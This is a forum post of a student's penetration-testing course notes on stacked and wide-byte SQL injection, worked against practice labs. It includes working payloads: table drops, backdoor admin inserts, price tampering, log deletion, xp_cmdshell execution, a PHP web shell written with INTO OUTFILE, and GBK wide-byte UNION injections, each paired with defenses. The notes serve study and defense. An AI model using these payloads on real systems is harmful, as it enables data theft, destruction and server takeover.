发帖
 找回密码
 立即注册
搜索
0 0

分享 WEB渗透系统班-模糊查询&堆叠注入+堆叠&宽字节注入

技术分享 1121 0 2025-4-8 23:58:52
WEB渗透测试工程师系统班250303期
第15节课作业
一、 实际操作课堂讲解的yakit sql注入靶场,截图
第九关:字符串注入点模糊查询(括号边界)
payload:【OR 1=1) --
由于1=1恒为真,所以爆出所有用户数据

第十关:参数编码字符串注入点模糊查询(括号边界)
和第九关的不同是参数进行了base64的编码
payloadbase64编码后的【) OR 1=1 --


第十一关:Base64 参数(JSON)嵌套字符串注入点模糊查询(括号边界)
和第十关不同的是:参数是用的JSON嵌套
payloadbase64编码后的【) OR 1=1 --


第十二关:LIMIT(语句结尾)注入案例
堆叠注入
payload1 and 1=0;
                     select 1,2,3  其实【1 and 1=0;select 1,2,3】也行在这里

二、 堆叠注入的原理是什么
堆叠注入(Stacked Injection)是一种SQL注入技术,允许攻击者通过一次输入执行多个SQL语句,从而实施更复杂的攻击。其核心原理和关键点如下:
原理
1.分号分隔语句
SQL中,分号(;)用于分隔多个独立的语句。攻击者通过注入分号结束原语句,并追加新的恶意语句,例如:
SELECT * FROM users WHERE id='1'; DROP TABLE users; --';
此处,原查询执行后,会继续执行DROP TABLE users
2.数据库支持多语句执行
堆叠注入成功的前提是目标数据库支持多语句执行(如MySQLMSSQL等),且应用程序接口(如PHPmysqli_multi_query())允许此类操作。
与普通SQL注入的区别
普通注入:通过闭合原语句,注入UNION SELECT或布尔逻辑等,通常用于数据泄露。
堆叠注入:直接追加新语句,可执行任意数据库操作(增删改查、修改结构等),危害更大。
利用条件
1.数据库支持多语句(如MySQL需配置CLIENT_MULTI_STATEMENTS)。
2.未使用预编译语句(Prepared Statements),否则输入会被视为数据而非代码。
3.应用程序未过滤分号,且直接拼接用户输入到SQL中。
4.足够的数据库权限(如DROPALTER权限)。
攻击示例
假设存在漏洞的查询:
$id = $_GET['id'];
$sql = "SELECT * FROM products WHERE id = '$id'";
攻击者输入:
1'; INSERT INTO logs (message) VALUES ('Exploited'); --
最终执行语句:
SELECT * FROM products WHERE id = '1';
INSERT INTO logs (message) VALUES ('Exploited'); --'
此时会插入一条日志记录,而页面可能仅显示SELECT结果。
防御措施
1.使用参数化查询(预编译语句):避免用户输入被解析为SQL代码。
2.最小化数据库权限:限制应用账户权限,禁止DROPALTER等敏感操作。
3.过滤输入:禁止用户输入中的分号或特殊字符。
4.禁用多语句执行:如MySQL配置中关闭CLIENT_MULTI_STATEMENTS
总结
堆叠注入通过分号注入多个语句,直接威胁数据库完整性。其成功依赖数据库配置和应用程序防护措施。防御关键在于严格处理用户输入,并遵循最小权限原则。

三、 堆叠注入的利用场景是什么
堆叠注入的利用场景主要集中在攻击者能够通过注入多个SQL语句执行任意数据库操作的情况下。其危害远超普通SQL注入,因为它不仅能窃取数据,还能直接修改数据库结构或执行高危操作。以下是堆叠注入的主要利用场景及具体实例:
1. 直接修改数据库结构
场景:攻击者通过堆叠注入执行DDL(数据定义语言)命令,直接修改表、字段或索引。
实例:
删除关键表:
'; DROP TABLE users; --
注入后,原查询结束后会执行DROP TABLE users,导致用户数据丢失。
添加新字段(用于后续攻击):
'; ALTER TABLE users ADD COLUMN hacked BOOLEAN DEFAULT 1; --
适用条件:
数据库用户具有ALTERDROP等权限。
目标数据库支持多语句执行(如MySQLMSSQL)。
2. 插入恶意数据
场景:向数据库插入伪造数据,例如后门账户或篡改业务逻辑。
实例:
创建管理员账户:
'; INSERT INTO admins (username, password) VALUES ('attacker', 'password123'); --
篡改商品价格:
'; UPDATE products SET price=0.01 WHERE id=1001; --
适用条件:
攻击者需了解目标表结构(可通过信息泄露获取)。
数据库用户有INSERTUPDATE权限。
3. 执行系统命令或文件操作
场景:利用数据库的扩展功能执行操作系统命令或读写文件。
实例:
MSSQL中执行系统命令:
'; EXEC xp_cmdshell 'whoami'; --
MySQL中写入WebShell(需FILE权限):
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; --
适用条件:
数据库配置允许执行系统命令(如MSSQLxp_cmdshell已启用
数据库用户具有高权限(如sysadminFILE权限)。
4. 绕过身份认证
场景:通过堆叠注入修改用户凭据或权限,直接登录系统。
实例:
修改管理员密码:
'; UPDATE users SET password='hacked' WHERE username='admin'; --
赋予普通用户管理员权限:
'; GRANT admin_role TO normal_user; --
适用条件:
数据库用户有权限修改用户表或权限表(如mysql.user)。
5. 联合其他注入技术扩大攻击面
场景:堆叠注入与UNION注入、盲注等技术结合,实现更复杂的攻击链。
实例:
通过UNION注入泄露表结构:
' UNION SELECT table_name, column_name FROM information_schema.columns; --
利用堆叠注入删除日志表以掩盖攻击痕迹:
'; DROP TABLE audit_logs; --
6. 自动化攻击与蠕虫传播
场景:攻击者在注入点插入恶意代码,使数据库自动执行后续攻击。
实例:
在数据库表中插入恶意负载,当其他应用读取该数据时触发二次注入:
'; INSERT INTO posts (content) VALUES ('<script>恶意代码</script>'); --

四、宽字节注入的原理是什么
宽字节注入(Wide-Character Injection)是一种利用字符编码漏洞绕过转义机制的SQL注入技术,主要出现在使用多字节字符集(如GBK、GB2312、BIG5等)的应用程序中。其核心原理是通过构造特殊的字符组合,使得数据库错误解析用户输入中的转义符号(如反斜杠\),最终导致注入成功。
原理详解
1. 字符编码背景
宽字节字符集:如GBK、GB2312等编码中,某些字符由两个字节表示(例如汉字)。
转义机制:当应用程序对用户输入进行转义(如PHP的addslashes()函数)时,会在特殊字符(如单引号')前添加反斜杠\,变成\',防止SQL注入。
漏洞触发条件:数据库或应用程序层使用宽字节字符集,且未正确处理转义逻辑。

2. 漏洞形成过程
假设应用程序使用GBK编码,并有以下代码:
// 用户输入:id = '1'
$id = addslashes($_GET['id']); // 转义后:1\'
$sql = "SELECT * FROM users WHERE id='$id'";
正常情况下,SQL语句应为:
SELECT * FROM users WHERE id='1\''
单引号被转义,无法闭合语句,因此注入失败。

3. 宽字节注入攻击
攻击者输入一个特殊字符(如%df%27,URL解码后为運'):
输入:id=1%df%27
转义后:1%df%5c%27(%5c是反斜杠\的URL编码)
数据库解析:
GBK编码中,%df%5c会被视为一个宽字符運(0xDF5C对应GBK编码的“運”)。
剩余的%27(即单引号')未被转义,直接闭合语句。
最终SQL语句:
SELECT * FROM users WHERE id='1運''
此时,单引号成功闭合,攻击者可在后续追加注入代码:
SELECT * FROM users WHERE id='1運' AND 1=2 UNION SELECT 1,2,database() -- '

关键点总结
字符编码的“吞并”特性:
宽字节字符集将两个连续字节解析为一个字符。例如,%df%5c被解析为運,导致反斜杠\被“吞掉”。
绕过转义机制:
转义后的反斜杠\(%5c)与前一个字节(如%df)组合成合法字符,使后续的单引号'逃逸。
攻击依赖条件:
数据库或应用程序层使用宽字节字符集(如GBK)。
转义逻辑未正确处理多字节字符(如未设置SET NAMES或character_set_client为二进制)。

实际攻击示例
假设存在漏洞的URL:
http://example.com/user.php?id=1%df%27%20AND%201=2%20UNION%20SELECT%201,2,3%20--%20
解码后输入:1運' AND 1=2 UNION SELECT 1,2,3 --
生成的SQL:
SELECT * FROM users WHERE id='1運' AND 1=2 UNION SELECT 1,2,3 -- '
结果:返回UNION查询的结果,泄露数据库信息。

防御措施
统一字符集为UTF-8:
UTF-8是单字节编码,天然免疫宽字节注入。
// 在连接数据库时显式设置字符集
$conn->set_charset("utf8mb4");

禁用宽字节字符集:
在数据库配置中避免使用GBK、BIG5等编码。

正确设置character_set_client:
在MySQL中,使用SET NAMES时指定二进制模式:
SET NAMES 'binary';

使用参数化查询(预编译语句):
直接避免SQL拼接,彻底杜绝注入。
$stmt = $conn->prepare("SELECT * FROM users WHERE id=?");
$stmt->bind_param("s", $id);

过滤特殊字符:
检查用户输入中是否包含%df、%5c等危险组合。

MySQL 5.5+的特殊情况
从MySQL 5.5开始,若使用SET NAMES 'gbk',数据库会自动将character_set_client设置为binary,从而免疫宽字节注入。
但需注意:如果应用程序手动修改character_set_client为GBK,漏洞仍可能被利用。

总结
宽字节注入的本质是利用多字节编码的解析特性绕过转义机制。防御的核心是统一使用UTF-8编码、参数化查询,并正确配置数据库字符集。

五、实操sqli靶场36关宽字节注入
?id=1%81' and 1=1 --+

回显正常


?id=1%81' and 1=2 --+
回显不正常


确定闭合正确

确定列数,回显点,最后爆库
?id=-1%81' union select 1,database(),version() --+


一、笔记标题:WEB渗透系统班-模糊查询&堆叠注入+堆叠&宽字节注入

二、文章内容:

1. 课程内容概要

        主要知识点1:sqli靶场第九关【字符串注入点模糊查询(括号边界)】
                             在此案例中,仍使用了LIKE语句进行模糊查询,但增加了查询条件并且使用了括号包裹,考验攻击者能否正常闭合括号,该 SQL 语句没有对用户输入进行任何过滤或转义,这就为注入攻击提供了机会。
                             示例代码:#
                              http://127.0.0.1:8787/user/name/like/2?name=a&debug=1
                              #查询名称为a并且年龄大于20的用户
                              select * from vulin_users where (username LIKE '%a%') AND (age > 20);
                             攻击示例:#
                              http://127.0.0.1:8787/user/name/like/2?name=' OR 1=1) --&debug=1
                              #如果应用程序未进行适当的处理,最终的查询语句会变成:
                              select * from vulin_users where (username LIKE '%' OR 1=1) --%') AND (age > 20);
                              #实际语句同下
                              select * from vulin_users where (username LIKE '%' OR 1=1);
                             在这个示例中,攻击者将$a设置为' OR 1=1)--,这将导致 SQL 查询中的WHERE条件永远为真,因为1=1始终为真。并且--表示 SQL 中的单行注释,会使后续的查询语句被忽略掉。这样,攻击者就可以绕过原本的查询条件,获取vulin_users表中所有用户记录。

                             防御措施:#
                             使用参数化查询或预处理语句: 不要将用户输入直接拼接到 SQL 查询中。使用参数化查询或预处理语句,将用户输入作为参数绑定到查询中,数据库引擎会自动处理输入的转义,避免注入攻击。
                             使用 ORM(对象关系映射): 使用 ORM 框架,例如 Hibernate、Sequelize 等,可以避免直接使用原始 SQL 查询,ORM 框架会自动进行查询参数的处理。
                             输入验证和过滤: 对于所有从用户获取的输入,进行合法性验证和适当的过滤,确保输入符合预期的格式和范围。拒绝非法的输入,防止恶意输入进入数据库查询。

        主要知识点2:sqli靶场第十关【参数编码字符串注入点模糊查询(括号边界)】
                             参数编码字符串注入点模糊查询是一种安全漏洞,通常发生在应用程序接受用户输入,并将其作为模糊查询条件用于 SQL 语句中。在这种情况下,如果应用程序未对用户输入进行适当的处理和过滤,攻击者可能通过注入特殊字符来改变查询条件,绕过预期的过滤,导致数据泄露或非预期的查询结果。
                             示例代码:#
                             假设应用程序使用以下后端查询语句来执行模糊查询:
                             SELECT * FROM vulin_users WHERE (username LIKE '%a%') AND (age > 20);
                             在该查询中,username字段进行了模糊查询,查找包含字母a的用户,同时筛选出age大于 20 岁的用户。
                             攻击示例:#
                             假设攻击者在输入中注入以下内容:
                             /*payload-1*/
                             ') OR 1=1 --
                             /*payload-2*/
                             ' OR 1=1) --
                             构建的查询将变成:
                             /*payload-1的SQL语句*/
                             select * from vulin_users where (username LIKE '%a') OR 1=1 --%') AND (age > 20);
                             /*payload-2的SQL语句*/
                             select * from vulin_users where (username LIKE '%a' OR 1=1) --%') AND (age > 20);
                             在这个恶意输入中,攻击者成功地在查询条件中添加了额外的条件 1=1,并用注释符号--来注释掉后面的部分。这将导致查询忽略原本的条件 (age > 20),并返回所有用户数据,因为 1=1 总是为真。

                             防御措施:#
                             为了防止参数编码字符串注入点模糊查询漏洞,应该始终使用参数化查询或预处理语句,不要直接拼接用户输入到 SQL 查询中,并对输入进行严格的过滤和验证。在示例中,可以使用预处理语句来避免漏洞,例如:
                             # 假设username和age是从用户输入获取的值
                             username = request.form['username']
                             age = request.form['age']
                             # 使用预处理语句构建查询
                             sql = "SELECT * FROM vulin_users WHERE (username LIKE ?) AND (age > ?)"
                             cursor.execute(sql, ('%' + username + '%', age))
                             result = cursor.fetchall()
                             通过采取这些安全措施,可以有效地防止参数编码字符串注入点模糊查询漏洞,并保护应用程序和数据库的安全。

        主要知识点3:sqli靶场第十一关【Base64 参数(JSON)嵌套字符串注入点模糊查询(括号边界)】
                             Base64 参数(JSON)嵌套字符串注入点模糊查询是一种安全漏洞,通常出现在应用程序接受经过 Base64 编码的 JSON 格式参数,并将其作为模糊查询条件用于 SQL 语句中。攻击者可以通过注入特殊的 Base64 编码和 JSON 字符串来改变查询条件,绕过预期的过滤,导致数据泄露或非预期的查询结果。
                             示例代码:#
                             假设应用程序接受经过 Base64 编码的 JSON 格式参数,并使用以下后端查询语句执行模糊查询:
                             SELECT * FROM vulin_users WHERE (username LIKE '%a%') AND (age > 20);
                             攻击示例:#
                             假设攻击者将data参数设置为以下 Base64 编码的 JSON 字符串:
                             #payload-1
                             eyJuYW1lYjY0aiI6IicpIE9SIDE9MSAtLSJ9
                             #payload-2
                             eyJuYW1lYjY0aiI6IicgT1IgMT0xKSAtLSJ9
                             解码后的 JSON 字符串为:
                             #payload-1
                             {"nameb64j":"') OR 1=1 --"}
                             #payload-2
                             "nameb64j":"' OR 1=1) --"}
                             /*payload-1的SQL语句*/
                             select * from vulin_users where (username LIKE '%a') OR 1=1 --%') AND (age > 20);
                             /*payload-2的SQL语句*/
                             select * from vulin_users where (username LIKE '%a' OR 1=1) --%') AND (age > 20);
                             在这个恶意输入中,攻击者成功地在查询条件中添加了额外的条件 OR 1=1,并用注释符号--来注释掉后面的部分。这将导致查询忽略原本的条件 (age > 20),返回所有用户数据,因为 1=1 总是为真。

                             防御措施:#
                             为了防止 Base64 参数(JSON)嵌套字符串注入点模糊查询漏洞,应该始终使用参数化查询或预处理语句,不要直接拼接用户输入到 SQL 查询中,并对输入进行严格的过滤和验证。

        主要知识点4:sqli靶场第十二关【LIMIT(语句结尾)注入案例】
                             由于mysql的语法,limit后面只能跟offset,没有什么继续探测的操作空间了,于是使用分号,另起炉灶

2.重点知识与细节

        概念解析
        概念1:堆叠注入
        概念2:宽字节注入
        概念3:反斜杠\为什么能使单引号等失去闭合字符串的能力
                   假设用户输入 1',应用程序使用addslashes()转义后变为 1\':
                   SELECT * FROM users WHERE id='1\'';
                   解析逻辑:
                   单引号(')前的反斜杠(\)被数据库视为转义字符。
                   数据库将 \' 解析为一个普通单引号字符,而非字符串结束符。
                   结果:字符串未被闭合,注入失败。

        关键步骤(判断闭合)
        步骤1:?id=1' and 1=1 --+ 回显正常
        步骤2:?id=1' and 1=2 --+回显不正常
        步骤3:判断单引号'是闭合,其他闭合同理

        相关代码 同作业

3.实操练习 和 解析



4.个人总结

        本节课最大的收获是:学会了,堆叠注入,宽字符注入这些更加深入的SQL注入
        仍然存在疑问的地方:暂无
        需要课后深入学习的内容:更多的注入方式

──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回